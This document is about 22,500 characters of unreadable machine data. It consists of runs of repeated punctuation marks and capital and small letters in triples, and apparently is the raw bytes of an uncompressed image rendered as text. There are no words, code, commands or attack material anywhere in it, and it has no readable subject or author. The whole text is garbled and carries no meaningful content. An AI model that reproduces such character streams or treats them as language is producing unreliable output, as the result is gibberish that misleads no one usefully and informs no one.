---;;;;;;444%%%***999===DDDJJJJJJMMMLLLHHHBBB<<<<<<888***%%%'''%%%&&&)))***(((***222:::???CCCBBB>>>>>>BBBEEEDDDGGGJJJFFFFFFDDDBBBCCCCCCEEEJJJIIICCCKKKIIIDDDFFFIIIHHHGGGDDD===;;;<<<"""'''!!! ///cccOOO>>>999777///%%%444%%%>>>>>>888000 """ ###FFF<<<444000444FFFBBBJJJRRR\\\SSSJJJ ///999,,, 444]]]ZZZJJJ===777,,,!!!&&&...---<<<777333+++***&&&###   (((JJJAAA888...!!!!!!!!!(((&&&###%%%***555777111%%%'''111GGGIII???888666444333222000+++888:::111)))***%%%###  ***   (((222***!!!%%%000333--- ###...DDDGGG===666###""" $$$===666///%%%''')))   '''%%%%%%999,,, OOO[[[YYYIII<<<666 """ ...AAA999///'''$$$(((:::777>>>GGGRRRIII@@@666*********%%%!!!"""###(((333111///******222888BBBEEE???333666@@@VVVYYYOOOHHHFFFFFFDDDDDDBBB>>><<>>...NNNHHH>>>333"""   '''!!!222CCCLLLqqqQQQDDDSSSeeedddbbbbbbaaa^^^^^^]]]ZZZ\\\YYYUUU(((444777!!!,,,(((---%%% &&&UUU[[[WWWLLL===777111'''$$$---000:::AAA;;;000LLL]]]eeeEEE&&&(((:::999777888777444444333HHHJJJGGGCCC???///((((((---)))&&&""" !!!  ---,,,)))---======666000:::@@@GGGLLLHHHFFFGGG>>>555AAAIII@@@666333000(((!!!999KKKTTTLLL---...:::999777888777444444333000222:::666&&&%%%!!!((('''$$$)))999999333---777$$$,,,+++---444777...&&&"""   ###"""%%%%%%!!!,,,(((---%%% @@@SSSZZZVVVKKK===   '''!!!222CCCLLL%%%%%%+++***444bbbAAAMMMXXXTTTYYY%%% &&&999???hhh]]]OOOJJJCCC$$$ ''',,,)))---dddnnnuuusss```QQQWWW]]]]]]NNNKKKQQQUUUXXXXXXPPPMMMTTT]]]]]])))***)))###>>>OOOYYYWWWPPP???888666111&&&%%%***222AAAFFFBBBGGGRRR\\\bbbHHH555&&&,,,222222$$$!!!&&&+++......&&&;;;BBBKKKKKK:::777444333888:::555***,,,,,,(((&&&(((,,,---111000000111///333777@@@GGGFFFGGGGGGBBB<<>>777000222777===999999999444---''''''***(((((((((***///222777===???DDDDDDDDDAAA777888111111111+++&&& '''%%% 222;;;AAAEEEFFF444'''///444:::!!! """$$$+++***///555777===BBBDDDAAA:::555///(((***000666222333333...'''!!!"""%%%   !!!""" 555777555JJJMMMVVVSSSSSSHHH ''')))***444:::>>>'''*** NNNJJJBBBBBBLLLaaa777555///333;;;eeeeeeZZZNNNHHH,,,###!!!%%%((("""KKKCCCDDDMMMZZZbbbfff^^^KKKQQQUUURRROOOMMMSSSOOOOOOQQQWWW[[[```bbbbbb111,,,### 000***!!!,,,@@@888:::[[[XXXOOORRRWWWGGG>>><<<@@@CCC===777666111999000222:::HHHPPPTTT222 &&&***'''%%%"""(((%%%%%%'''...111666PPPPPPOOOFFF@@@===666666<<>>///.........//////'''"""&&&...222888===???IIIGGGBBBFFFAAA888------,,,((($$$%%%'''$$$"""***000(((666>>>AAA999&&&---111...+++"""(((%%%%%%'''...111666444;;;???DDDFFFGGGEEE===888555...///555BBBFFF888)))((())) !!!  @@@888:::YYYVVVNNNQQQVVVGGG###!!!%%%((("""!!!...TTT 111,,,###LLL\\\VVVMMMXXXlll888:::>>><<<333ccchhhZZZPPPOOO222222333000,,,&&& LLLIIISSSTTTNNNCCC???===BBBNNNKKKPPPUUUYYYWWWTTTNNNGGGNNNVVVVVV```aaa``````'''+++###***222888dddgggTTTJJJNNNMMMNNNNNNKKKGGGAAA:::999666AAAAAA<<<111---+++000""" %%%***...,,,***$$$$$$,,,,,,666777777NNNPPPHHHBBBCCCBBB:::777:::DDD???555333---&&&***,,,,,,'''&&&***,,,111555777===>>>===???;;;;;;444111...)))***'''!!! %%%)))///***)))''',,,111555333000$$$$$$,,,,,,666777111999:::DDDDDDDDDEEEGGG???:::;;;:::333000333>>>999///...   ######222888bbbeeeSSSIIIMMMMMM222333000,,,&&& ''''''"""///'''+++###DDDJJJEEE@@@FFFWWW222888HHHKKK888[[[______``````EEE@@@666000%%%RRRYYYVVVVVV]]]YYYQQQOOOGGGBBBNNNQQQOOOLLLNNNOOOIIIHHHEEELLLRRRTTTZZZYYYUUUTTT%%%***JJJQQQNNNBBBDDDRRR```\\\RRRKKK???888???FFFCCCCCCKKKGGG>>><<<444000<<<&&&$$$!!!###$$$"""(((+++111000,,,+++GGG???<<<>>>???<<<777888???CCC???888///))))))++++++((( '''***.........666:::888666666555000---***---000222***###+++111999555,,,***"""***,,,+++!!!###$$$###"""(((+++111000)))(((///555888>>>===999999>>>777444666777555000111999==="""  &&&%%%---OOOLLLAAACCCQQQ```@@@666000%%%%%%,,,))))))111---%%%###999===@@@JJJHHHDDDHHHQQQ***---555222&&&VVVcccrrrnnndddEEEAAA777---!!!IIIIIILLLSSSXXXZZZ[[[UUUOOOHHHFFFKKKLLLCCC???BBBHHHHHHIIIHHHLLLNNNLLLEEEGGGLLLNNN  999???EEEDDDDDDTTT```\\\RRRHHH<<<777777999@@@EEEHHHIIIBBB<<<555333999!!!"""$$$######%%%,,,AAA???888777333111444;;;BBBAAA;;;///---***$$$$$$***+++$$$'''))),,,,,,)))222222111888111333+++###!!!$$$***...***!!!)))***...333666777000***###!!!'''((("""$$$###)))***+++...111///(((+++000333:::999777000///,,,***---555 +++000+++###    ===CCCCCCCCCSSS___AAA777---!!!&&&+++...///)))###:::>>>:::   888888:::AAAAAA@@@###)))(((VVVeeerrrnnnddd777:::>>>777SSSMMMGGGEEELLLPPPRRRPPPDDD>>>@@@HHHLLLBBB@@@BBBAAADDDFFFAAA;;;<<>>???>>>222+++...666:::000$$$&&&:::999333///222;;;>>>;;;999666666666000,,,%%%+++///((()))))),,,,,,###(((***+++222000999222&&&"""$$$$$$"""&&&)))---''',,,---,,,$$$'''%%%((("""%%%***$$$###'''---222333222111+++'''+++444  """***333222---***$$$ 555JJJTTTPPPSSSRRR:::>>>777&&& $$$%%%$$$///222:::>>>555333555444888:::555DDDEEEDDDCCC>>>:::>>>FFFJJJGGGEEECCCCCCCCC>>>:::333999???777888999===<<<444:::;;;<<>>999:::???AAA///999bbbeeedddhhhkkk""",,,---UUUSSSZZZOOOBBBWWWXXXZZZQQQDDDFFFLLLMMMHHHCCCBBBAAA<<<999777555444444999>>>HHHFFFAAA???222444888888000///777===GGGHHHBBB@@@HHH<<<000DDDFFFGGG???222333999;;;666111 222444999CCCCCC444222111999888777;;;888111222555666999555333888222000,,,)))***...111555333---%%%"""!!!  $$$'''''''''222444555---!!!'''""" !!!+++)))$$$###(((***,,,+++***---222 """...111+++$$$  666///...555<<<,,,---(((&&&---"""***,,,---%%%777===???:::666555444///---+++))):::===>>>>>>===@@@DDDNNNOOO@@@>>>>>>FFFEEEDDDIIIFFF@@@BBBEEEEEEHHHEEECCCHHHDDDAAA===;;;<<<999777666>>>BBB???BBBFFFJJJIIIBBB;;;999888777777666DDDGGGDDD>>>:::<<<@@@HHHOOOZZZZZZ!!!YYYZZZOOOUUUIII@@@SSSXXXWWWUUUPPPRRRTTTOOOBBBGGGGGG@@@888<<<888333///000444999BBBEEEEEEAAA888<<>>???===<<<888888@@@FFFEEE===888777888555555JJJIIIFFFGGGGGGEEE &&&999<<>>===;;;<<>>555///111777444555777888777777888222---&&&&&&'''%%%&&&...---,,, !!!&&&******&&& !!!&&&)))+++---111111+++///---+++)))""""""$$$!!!"""  &&&$$$"""$$$ !!! """)))###"""!!!######+++222444///---***  111555888555!!!111999333$$$###!!!:::888555444999777555666111(((###000---///555<<>>DDDBBBCCCEEEFFFEEEFFFGGGBBB===777666888666888???@@@>>><<<999EEEBBB888555444555;;;??????<<<666333333999 GGGGGGJJJKKKIIIIII %%%'''GGGKKKHHHOOO___---bbb___UUU]]]NNNCCCBBBRRRIII;;;>>>HHHNNNHHH??????DDDAAA999666000///...111222333555<<>>666666111444000111,,,)))...)))+++111444444!!! !!!######!!! %%%***---+++,,,---,,,...000999)))...$$$$$$)))$$$ $$$!!!###"""!!!!!! """---444444000+++)))''' CCCJJJHHH444222'''000!!!&&&???:::111111777444,,,)))$$$###"""222222444000555@@@CCCAAAAAA@@@AAACCCAAACCCIIILLLDDDDDD@@@CCC@@@AAA<<<:::???;;;<<>>555,,,,,,444777555...(((...555:::===???AAAFFFCCC777555:::444)))%%%###  $$$$$$!!!"""$$$***---DDDDDDBBBBBB???999666222:::444111...///999===???BBB777666!!!&&&///999444---***(((&&&+++111333999333---111<<<"""(((+++,,,///444000%%%###((("""  ,,,''' """"""%%%***$$$###...333333,,,'''&&& !!!""" +++333  ###%%%(((,,,))):::999>>>999...***((("""###"""!!!333444999>>>DDDDDDBBBCCCEEEKKKOOOPPPQQQOOOPPPMMMGGGDDDBBBIIIDDDAAA???@@@IIINNNPPPSSSIIIHHHDDDBBBAAAAAA>>>888000......111777<<>>III888;;;999///777;;;;;;333111111111+++''''''!!!  ***///...,,,***(((%%%...333555999...(((000:::666666555111000111""" &&&666;;;888999999:::???BBB:::666;;;???BBBFFFEEE@@@>>>:::###&&&,,,777&&&)))'''$$$))))))  $$$""""""### +++''',,,000444777666222000,,,***%%%$$$### ###"""###'''%%%...$$$...!!!""""""444555555///,,,,,,&&&$$$%%%'''&&&000222777>>>>>>===@@@@@@JJJPPPPPPMMMKKKJJJFFF>>>===AAAEEEHHH>>>888AAAJJJGGGGGGFFFCCCBBBCCC@@@<<<666555>>>AAA666111333555444<<>>777111---,,,,,,111555<<< AAA>>>AAABBB111)))++++++(((***222555666;;;<<<888111333AAA===999777333///---'''"""    (((333444---***+++***"""***---<<<;;;777******777666222...---///---%%%!!!!!!***999:::222999<<>> DDDEEEBBBHHHQQQNNN%%%&&& <<<999<<>>BBBFFFEEE===111777???;;;666:::===<<<888:::888777FFF888...+++777<<<444''' ### &&& %%%%%%'''++++++'''$$$''',,,,,,000,,,'''  ###))),,,666777000---...777EEEEEECCCFFFFFFHHHHHHAAA<<<999,,,!!!###$$$---)))$$$(((******&&&(((%%%%%%444&&&%%%***""" ((((((...%%%&&&666444777888::::::333...+++  """&&&!!!&&&***""""""+++...:::@@@888+++#########%%%###!!!###+++999???>>>===???AAAEEEFFFGGG++++++'''$$$''',,,,,,000,,,'''   &&&  NNNRRRMMMRRRVVVVVVMMMAAAHHHQQQMMMIII"""AAACCCMMMHHHMMMOOOIIICCC;;;777999   ,,,,,,999BBBFFF@@@<<<666333>>>CCCGGGKKKEEEDDDFFF>>>:::888444444333---///111:::555:::<<<666000)))%%%&&& !!!!!!&&&###&&&$$$&&& """$$$(((000///,,,******%%%'''  '''---666???===:::555:::EEEFFFEEEEEEEEEFFFFFFDDD>>>:::///&&&""" 555999333222444+++(((&&&!!!!!!!!!(((###(((***$$$***%%%***---'''!!!!!!%%%777666666777888888666000,,,!!! $$$)))###"""'''***  ???999444---)))+++$$$$$$&&&((('''&&&'''888777555444444999CCCFFFEEE&&& """$$$(((000///,,,******%%%'''  &&&VVV $$$)))###"""'''WWW[[[VVVVVVWWWOOOMMMJJJFFF###888:::<<>><<<===??????BBBRRR\\\OOOFFFAAA>>>777222111+++&&&(((***111777;;;666000***%%%%%%  '''***++++++ %%%''' ###%%%))))))(((((('''***""" """###$$$######)))---:::AAA>>>::::::>>>BBBBBB@@@===;;;888666;;;999======555,,,+++------000@@@III===444///,,,%%%%%%)))$$$!!!'''+++'''!!!!!! !!!!!!###333111///,,,***(((---+++//////((( ---%%%!!! """###&&&666 !!!333...))))))***(((((('''111444---'''888555///+++333999EEEGGG ###%%%))))))(((((('''***"""  :::???DDDQQQ  )))---%%%!!! """###&&&bbblll```WWWSSSPPPJJJDDDQQQPPPJJJCCCAAADDDGGGNNNIIICCCAAA@@@<<<555222666===;;;555!!! %%%''' 111<<<>>>DDDIIINNNMMMKKKHHH>>>;;;EEE___bbbPPPDDD???>>>>>>777111///222555;;;777111///...***### $$$ !!!(((!!!"""(((<<<>>>  '''%%% !!!)))"""""""""$$$&&&***...&&&######$$$+++666999888777888777888;;;:::333,,,(((---333777CCCEEE>>>666$$$***,,,111777<<<:::999666,,,)))333LLLOOO===222,,,,,,,,,%%%""")))%%%###+++'''!!!---+++'''222444---(((,,,+++%%%&&&***555888111))) ,,,111///...+++!!!)))BBBFFF!!!---&&&$$$(((///...(((###DDD;;;999999:::BBBMMM  &&&,,,111///...+++!!!)))ooorrraaaUUUPPPQQQPPPJJJPPPOOOTTTUUUJJJJJJPPPPPPFFFMMMGGG>>>;;;???===666AAAKKKGGGCCC###""" :::AAA888888???HHHJJJEEEBBBBBB999888>>>BBB@@@;;;AAA===<<>>===444:::444,,,)))---+++  ###"""222---%%%"""+++///+++!!!***444((("""&&&***---111333---''')))### """$$$222###***,,,&&&'''000777999888111///---...++++++------...111000///,,,333555888999***&&&'''###"""'''///&&&%%%---666777333000000'''%%%,,,///...)))...+++***000000&&&%%%++++++!!!&&&------###***%%%!!!+++((($$$&&&///...&&&!!! %%%!!!  ######!!!&&&(((++++++"""***,,,)))%%%%%%"""&&&%%%###### ,,,000///(((333>>>:::666888???AAA<<<>>>GGGNNNPPP$$$"""***,,,)))%%%%%%"""&&&RRRMMMRRRPPPOOOTTTOOOTTTWWWTTTHHHHHHPPPNNNDDDBBB@@@:::666===???:::>>>KKKRRRRRR!!!$$$&&&$$$$$$:::BBBAAA===666999??????<<<999222555EEESSSOOOIIIAAA<<>>;;;;;;:::666222333<<>>777555888<<<===<<<:::888666<<>>:::444---...444888111+++'''###"""(((&&&***---999999;;;777111(((!!!###---******&&&)))***((('''(((&&&'''***000222777555888666666...%%%+++444555<<>>;;;777===???;;;???GGGBBB>>>:::>>>NNN===))))))---111000222;;; $$$"""!!!$$$666999555777666111'''***)))'''222666111---***  %%%%%%+++&&&&&&---&&&!!! )))...222666:::444555444---+++,,,444555+++ !!!...666888;;;<<>><<<===AAA???999333555---555???EEEHHHLLLQQQKKKLLLLLLLLLFFFJJJ !!!!!!###$$$+++'''###MMM(((RRRMMMMMM[[[^^^OOOEEE===;;;???BBBAAAAAABBBFFF???:::AAAIIIJJJBBB  <<>>444///---222999777;;;CCCAAA???@@@EEECCC@@@::::::IIILLL===333+++))),,,000///...000777777***&&& $$$)))''',,,444333***""" &&&+++&&&'''%%%&&&222111......!!!###,,,///******,,,444888<<<999222333777111((('''///000//////...666888222333111111333666444---***222777777,,,"""&&&$$$)))111///---...333!!! """%%%!!!***+++###!!!"""%%%,,,,,,!!!'''%%%$$$$$$***(((%%%222444888111---444<<<444666999CCCFFF@@@AAAOOONNNPPPTTTSSSLLLIII&&&+++,,,!!!'''%%%$$$$$$***(((%%%###GGGHHHRRRZZZ]]]XXXOOOEEEHHHLLLLLLKKKHHHAAA;;;555666;;;>>>888666 BBBHHHHHHJJJBBB===:::666999AAAFFFDDDDDDIIIHHHFFFFFF>>>555666???HHHKKKFFF<<<333666999999888  '''$$$%%%!!! '''***...222444///)))'''(((***$$$ )))444444...)))***+++ !!!!!!((( '''999>>>@@@>>>666111666111&&&$$$+++'''&&&,,,***000666555777:::===<<<888666666///666666888000+++'''###'''///444222222777666&&&)))***)))&&& %%% %%%***((((((,,,,,,******### 999333---''')))...111;;;999888AAAEEE***SSSWWWZZZYYYVVVTTTTTTOOOUUU***,,,%%% %%%***((((((,,,,,,******###777CCCSSSXXX[[[YYYOOOLLLOOOQQQSSSVVVSSSKKKCCCAAAAAA;;;666...///MMMDDD>>>HHHMMMIIIPPPQQQFFF<<<<<<888333>>>HHHGGGBBB---%%%111AAAFFFIIIGGG<<<999<<<>>>AAACCC'''  &&&  )))777::::::///&&& ###!!! 333999:::222***%%%"""%%%777888777555222444444111'''###***(((&&&(((***///888AAABBBDDDIIIGGG===<<<>>>;;;222,,,666;;;777>>>???444******%%% ///222444222+++### !!!///,,,222444))) """,,,+++''' """%%%'''***DDD===555333444...)))!!!###&&&---'''###!!!!!!!!!$$$$$$$$$(((... )))777::::::///&&& ###!!! &&&'''999888999:::888555888:::'''^^^bbbgggeee[[[ZZZ\\\ZZZQQQ!!!***///,,,222444))) """,,,+++'''  555BBBTTT^^^\\\XXXQQQMMMJJJGGGGGG@@@>>>???CCCKKKLLLDDDCCCQQQTTT  MMMJJJQQQNNNPPPSSSZZZ[[[UUUOOOEEEAAABBB>>>???<<<:::'''###000AAALLLJJJEEE>>>:::777444444...!!!&&&)))$$$ $$$(((+++000000''' '''222999888444,,,!!! ''')))))))))...111...((((((*** ---999CCCGGGIIIIIIJJJGGG???;;;888???<<<>>>@@@GGGHHHCCC===333%%%%%%"""***,,,%%%$$$222555%%%333555<<<>>>888222)))%%%&&&"""$$$!!! ///111555<<<>>>777666DDDGGG888***###!!! ###%%%+++000111777777$$$(((+++000000''' &&&%%%!!! GGGMMMIII???888000000111 ___dddfffgggiiieee]]]ZZZWWW^^^000333555<<<>>>888222)))%%%&&&"""$$$!!! 666@@@KKKNNNRRRUUUOOODDDCCCBBB>>><<<<<<>>>DDDKKKJJJAAA<<<===;;;$$$TTTDDD>>>;;;BBBJJJNNNQQQVVVXXXQQQFFF333///666111+++"""$$$...999<<>>444222666::::::???DDDGGGGGGAAA333+++))))))(((111999<<<999555555666444***)))%%%%%%)))  %%%)))!!!""""""$$$$$$%%%+++...000111///---000555555111)))%%%222666444999AAA@@@333(((###+++555666999:::###((((((--- %%% """'''******%%% !!! ------222888222***$$$###&&&%%%######''',,,111)))...;;;AAA"""$$$$$$%%%+++...000111///---000555555111)))"""!!!&&&...--- LLLNNNJJJIIICCC===777777777555555MMMIIINNNWWWbbbdddccc^^^KKKAAA???DDDHHHHHHNNN'''******%%% !!!;;;<<>>DDDLLLOOOLLLCCC@@@>>>222  ??????AAA>>>777+++,,,333777555666888777333222333444WWWXXXDDD999555666<<<===:::///)))+++!!!$$$!!!&&&'''###''')))))) &&&---555444---"""!!!&&&+++---000222111*** ...///+++222:::666777888(((222;;;999555444444555###,,,///,,,###!!! ;;;<<<)))>>>AAA>>>555333111%%%&&&,,,---***...000111&&&+++777>>>&&&---555444---"""!!!&&&+++---000222111*** '''###$$$%%%,,,HHHIIIIIIIIIDDD???:::777444222666666555IIIMMMNNNRRRTTTRRRLLLMMMOOOLLLEEE999:::AAAFFF;;;<<<)))"""***KKK>>>888<<>>===777;;;CCCBBB444111444222444;;;;;;333555<<<---::::::///+++***...###!!!$$$%%%$$$   !!!!!!(((MMMJJJGGGBBBEEE???<<>>;;;666666DDD888+++'''(((---///000...555???DDDBBB """&&&)))******''' ...111999<<<===GGGXXX888)))***888111+++***'''&&&%%%  OOO\\\RRRFFF>>>333222555666888999???CCC;;;???CCC@@@=========>>>999333000///(((%%%$$$  &&&)))%%%""" 111444666555222%%%!!!&&&...111222===NNN  """)))  """CCCFFFHHHGGGDDD777%%%***444888@@@CCCDDDOOOaaaXXX)))***888111+++***'''&&&%%%  :::HHH>>>111***CCCBBBEEEFFFHHHIIIPPPTTTLLLQQQQQQMMMGGGEEEEEE===;;;:::666555777===AAA CCCBBB;;;<<<777555999DDDGGGDDD@@@;;; """)))  RRRGGG@@@CCCQQQWWWZZZWWWSSSWWWWWWWWWVVVSSSNNNBBB000888333---777111&&&((($$$$$$### """222777333---((('''222666333444222===,,,"""$$$...???555...111>>>EEEHHHEEE'''******+++***(((###)))---333HHHPPPKKKEEENNN111&&&((())) ---,,,''' !!! ###MMMTTTMMM===...$$$)))...333;;;CCCIIIJJJCCC===;;;<<>>333999???CCCLLLTTTZZZ[[[TTTNNNIIIIIIJJJIIIBBB444666666888@@@CCCFFFGGG :::000111000...000@@@FFFBBB<<<777666BBB""" %%%&&&"""AAA@@@KKKVVVWWWZZZ[[[\\\ZZZYYYVVVXXX\\\OOO@@@###---888AAA:::888333///)))###$$$$$$###"""%%%'''---222///000222888<<>>EEECCCCCCEEECCCAAAAAA===<<<>>>???DDDCCC999***!!!!!! ###(((%%%&&&+++""" !!!'''---...444666===888;;;===???<<<...***,,,000$$$!!!"""((((((///:::EEENNNGGGEEE  %%%###$$$%%%&&&"""...JJJHHHJJJNNNAAA333555;;;:::AAALLLWWWaaaYYY888333///)))     777<<>>???BBBHHH %%%###$$$%%%&&& ===???CCCJJJVVVZZZXXXWWW[[[[[[SSSSSSLLLOOO333++++++222777999======444---***$$$777000,,,)))%%%%%%(((***)))///:::999111...111222888;;;999666666666---+++---111777CCC...,,,+++//////((('''!!!$$$333CCCDDDKKKPPPQQQUUUUUUKKK---***$$$  222444888777777///111///---111<<>><<>>===;;;<<>>...&&&+++++++++,,,'''""" %%%---555888444333444666;;;;;;===:::,,,$$$((('''!!!$$$333+++888???DDDFFFJJJJJJAAA  LLLMMMEEEEEE>>>BBBQQQIIIJJJQQQVVVXXX]]]\\\444---***$$$  BBBFFFEEEEEE>>>@@@???===BBBMMMRRROOONNNPPPNNNOOOWWW\\\SSSCCC<<>>:::888---///,,, 777333333666888888>>>JJJIIIAAA  :::DDDOOOZZZVVVQQQWWW[[[RRROOOUUU]]]999888444333888999777===:::222...+++OOO===666///'''''',,,000000222:::999333///555888;;;:::666444444///(((!!!!!!(((222===...***%%%+++///&&&###***222RRRPPPMMMLLLPPPQQQOOOUUURRRIII...+++ !!!  ;;;===:::@@@FFFDDDCCCAAA:::555777888;;;@@@DDD@@@>>>??????===>>>???AAAEEECCC777,,,(((---222111---'''"""&&&///,,, (((///111111555666222***'''***000...555;;;888///'''---444===+++$$$ ((('''&&&###***222999888444333888999DDDJJJGGG###&&&((($$$###!!!(((---  +++MMMDDDAAAHHHPPPXXXVVVSSSRRRWWWXXXWWW===:::222...+++ !!!  '''JJJHHHNNNTTTRRRRRRPPPIIIEEEGGGIIILLLQQQVVVRRRSSSUUUYYYWWWLLLAAA===CCCHHHGGGDDD>>>:::555>>>LLL!!!(((---***""" (((111<<<555555;;;??????AAAJJJIIICCC@@@%%%'''+++***'''###HHHEEELLLQQQ[[[999;;;999///...******000777666333111QQQ???EEE@@@777000000000,,,%%%***777@@@BBB<<<999777000///111222555222+++///666???'''+++***'''### &&&000RRRSSSRRRHHHGGGBBBBBBHHHOOONNN333111222++++++BBBEEELLLJJJIIIHHHGGGAAA;;;666222---111999AAAFFFEEEEEEFFF@@@;;;444.........&&&$$$(((---/////////,,,,,,---888<<<555(((333::::::666000444555111...+++---...666666555444777<<>>CCCOOOWWWYYYXXXNNNMMMIII***000777666333111222++++++OOOSSSYYYXXXXXXVVVVVVPPPKKKFFFCCC>>>BBBJJJRRRWWWHHHBBBBBBCCC;;;999>>>CCCEEEFFFFFFCCCCCCEEEPPPIIIJJJ))))))((((((***///555333!!!'''###DDD>>>??????;;;555:::GGGPPPSSS """...---444777111%%%OOOSSSLLLLLLQQQ+++222444:::,,,%%%$$$"""!!! EEEFFFHHHGGGJJJAAA555---111999999;;;<<<888222111777===999000444JJJHHHOOORRRKKK???$$$((( !!!&&&DDDKKKMMMRRREEE<<<;;;:::444888777,,,$$$ %%%)))<<<>>>777'''&&&---666333444777777444111666<<>>>>>DDDJJJPPPSSSYYYKKKCCC$$$"""!!! ,,,$$$ %%%KKKIIIKKKDDD555555<<>>888)))$$$&&&(((((($$$KKKDDDDDDJJJOOO,,,------222***"""AAA<<<333111777000((('''---777555222...000222444666<<>>FFFJJJIIIFFFCCC@@@===<<<<<<<<<,,,)))%%%&&&'''...$$$$$$...111++++++)))### !!!(((******444666777>>>888)))$$$&&&000000,,,((( $$$,,,------$$$,,,------222***"""...------...,,,)))%%%&&&'''...$$$$$$ !!!(((******444666777>>>888===777666<<>>@@@!!!(((***,,,111111000222555777999???999555...111000%%%CCCCCCLLLLLLLLL)))***,,,---))) 555000++++++&&& (((444///333666333000444<<>>GGGGGG@@@888777444555<<<222!!!%%%$$$ %%%&&&(((,,,333@@@CCCBBBFFFIIIGGGEEEDDDAAA;;;999---+++---***,,,000000...  %%%    ,,,111111000222555777999???999555777:::888---  !!!!!!)))***,,,---))) !!!)))***,,,---))) ,,,***---+++---***,,,000000...   ,,,111111000222555777999???555>>>??????GGGHHHKKKLLL))) WWWYYYZZZ^^^ZZZXXX<<<555??? %%%  ...///666DDD???CCCGGGCCC ,,,111111&&&)))---000555;;;888:::AAABBB@@@666444111%%%IIIOOOSSSQQQMMM###***555111///,,, )))%%%(((&&&!!!"""###""")))999---777:::777+++000;;;BBBDDDHHHKKKPPPVVVSSSUUU\\\BBB@@@666444111%%%$$$(((%%%:::;;;CCCMMMIIIGGGDDD555&&&!!!!!!###'''"""***,,,""" 444???>>>FFFWWWRRRIIIIIIDDDAAA;;;333888999444### &&& !!!!!!%%%+++---***000<<>>...,,,+++***'''...888===555 """   &&&)))---000555;;;888:::AAABBB@@@>>><<<999%%%$$$(((%%%"""###***555111///,,, !!!(((***,,,""""""###***555111///,,, ///...,,,+++***'''...888===555 &&&)))---000555;;;888:::AAABBBAAAEEECCC@@@AAAHHHTTTPPP///,,, GGGRRRXXXXXXXXXbbbfff___<<<...,,,777"""  111000888HHH===FFFKKKGGG&&&)))---!!!)))111;;;???===>>>CCCIIIJJJJJJIIICCC>>>fffZZZTTTYYYYYY,,,111666999::::::222"""!!!'''---///!!!!!!###)))(((+++GGGSSSMMM???000***,,,444777===DDDLLLWWWZZZXXXYYYCCCIIIJJJJJJIIICCC>>>;;;...)))---GGGEEEJJJOOORRRRRRRRRJJJ999888>>>DDDFFF++++++''' !!! ...000222BBBNNNKKKGGGKKKLLLHHHCCC:::444+++###***(((%%%---000000///111333111999<<<888;;;<<<@@@>>>,,,,,,---+++***,,,///222666777'''  ***666000###!!!)))111;;;???===>>>CCCIIISSSSSSQQQCCC>>>;;;...)))---...,,,111666999::::::222((('''...333555222+++''' !!! ,,,111666999::::::222"""!!!''',,,---+++***,,,///222666777'''  ***666000###!!!)))111;;;???===>>>CCCIIILLLFFFKKKMMMKKKPPPUUU999::::::222"""!!!'''---///+++HHHPPPSSSPPPRRR___aaaQQQ555++++++---111888666:::WWWccc\\\PPP@@@!!!)))!!!---777888999@@@EEEGGGFFFIIIIIIFFFjjj\\\^^^___\\\111444555555333////// '''444555111  $$$---111444DDDLLLKKKGGGIII<<<666333777999<<>>000333MMMJJJJJJMMMNNNNNNKKKHHHGGG888>>>KKKMMMHHHHHH000///"""000555???@@@@@@HHHNNNNNNKKKGGGAAA888***'''......222555222555777000...333>>>111000///111000+++***%%%%%%)))###(((///...***,,, !!!---777888999@@@NNNOOOFFFIIIIIIFFF>>>000333333111111444555555:::777666'''---:::<<<777000000///"""444555555333////// '''444555000///111000+++***%%%%%%)))###(((///...***,,, !!!---777888999@@@EEEQQQRRRPPPPPPRRRTTT555333////// '''444555111000IIILLLNNNHHHFFFRRRMMM:::---++++++,,,+++333;;;@@@CCCTTT\\\[[[XXX,,, $$$)))(((%%%000222...222666:::999BBBIIIJJJnnnccciiieee^^^+++///000,,,'''***111$$$"""+++,,,*** !!!)))555666---666???MMMQQQYYYLLL:::888@@@DDDCCC@@@LLLMMM...222666:::999BBBIIIJJJBBB777===SSSLLLDDDHHHIIIEEE???BBBIII;;;:::BBBCCCAAAEEE***$$$%%%$$$%%%---+++######:::>>>FFFFFFJJJIIIFFFGGGGGGEEECCCBBB111 )))((($$$555555444...))),,,555333---'''---444888999666+++ """000555===///$$$)))(((%%%000222...222666:::999BBBIIIJJJBBB777===999333333777888444...111888***)))222333***...***$$$%%%$$$%%%---+++(((///000,,,'''***111$$$"""+++,,,444888999666+++ """000555===///$$$)))(((%%%000222...222666:::[[[XXXQQQJJJMMM000,,,'''***111$$$"""+++,,,***...@@@DDDLLLKKKEEEGGG111222111111000---,,,,,,+++,,,888CCCDDD===FFFOOO]]]bbb===///$$$)))"""+++444444+++//////,,,)))***///111999CCCIIIttttttkkkfffggg444...111***$$$...222***$$$$$$*** $$$///555222......333HHHNNNPPPGGG;;;>>>GGGPPPOOOGGGKKK///,,,)))***///111999CCCIIIHHHHHH???TTTUUUMMMGGGJJJBBB777<<>>555&&&'''111;;;===###!!!'''***...444999>>>...+++111333***"""+++444444+++//////,,,)))***///111999CCCIIIHHHHHH???BBBCCC;;;666999222&&&+++555999000***$$$***---$$$"""///000999777...111111***$$$...222***$$$$$$...444999>>>...+++111333***"""+++444444+++//////,,,)))***///YYYZZZRRR...111***$$$...222***$$$$$$***--->>>IIIRRRTTTKKKIII+++***---999;;;222,,,,,,,,,,,,,,,>>>CCCAAA======CCCXXX^^^333***"""+++444000000///000...---444444---333111222;;;@@@???mmmuuuwwwqqqhhh<<<777111555...%%%%%%??????---  ---111...111444)))'''777EEEAAA>>>CCCLLLLLLKKKLLLIIIHHH444444---333111222;;;@@@???AAAIIIKKK^^^VVVUUUPPPJJJNNNGGG======WWWWWWEEE666555<<<111'''...###%%%###&&&---===<<<===;;;??????:::666888@@@>>>000***888((( ###999;;;<<<666---%%%$$$(((***%%%&&&%%%((( ###  )))%%%"""(((000000///000...---444444---333111222;;;@@@???AAAIIISSSMMMEEECCC???999===666,,,,,,FFFFFF---%%%'''...)))$$$%%%555...%%%%%%??????---((( ###  )))%%%"""(((000000///000...---444444---333111222ddd[[[ZZZVVV111555...%%%%%%??????---%%%;;;@@@AAALLLMMMDDD...---...>>>===222,,,+++---,,,,,,@@@===@@@CCC999777GGGVVV%%%"""(((000000///,,,000444777777444444,,,&&&)))------222:::lllrrrrrrpppoooEEE@@@999888222)))%%%111???BBBBBB=== !!!!!! )))222333111444666444...,,,///666AAAHHHLLLPPPRRRRRR444444,,,&&&)))------222:::@@@FFF___]]]]]]^^^YYYRRRQQQKKKAAA===IIIWWWYYYYYYTTTFFF<<<888 &&&111333///(((,,,EEE777333666555///...///444===666+++,,,###(((///333666555...)))(((%%%''' $$$$$$'''     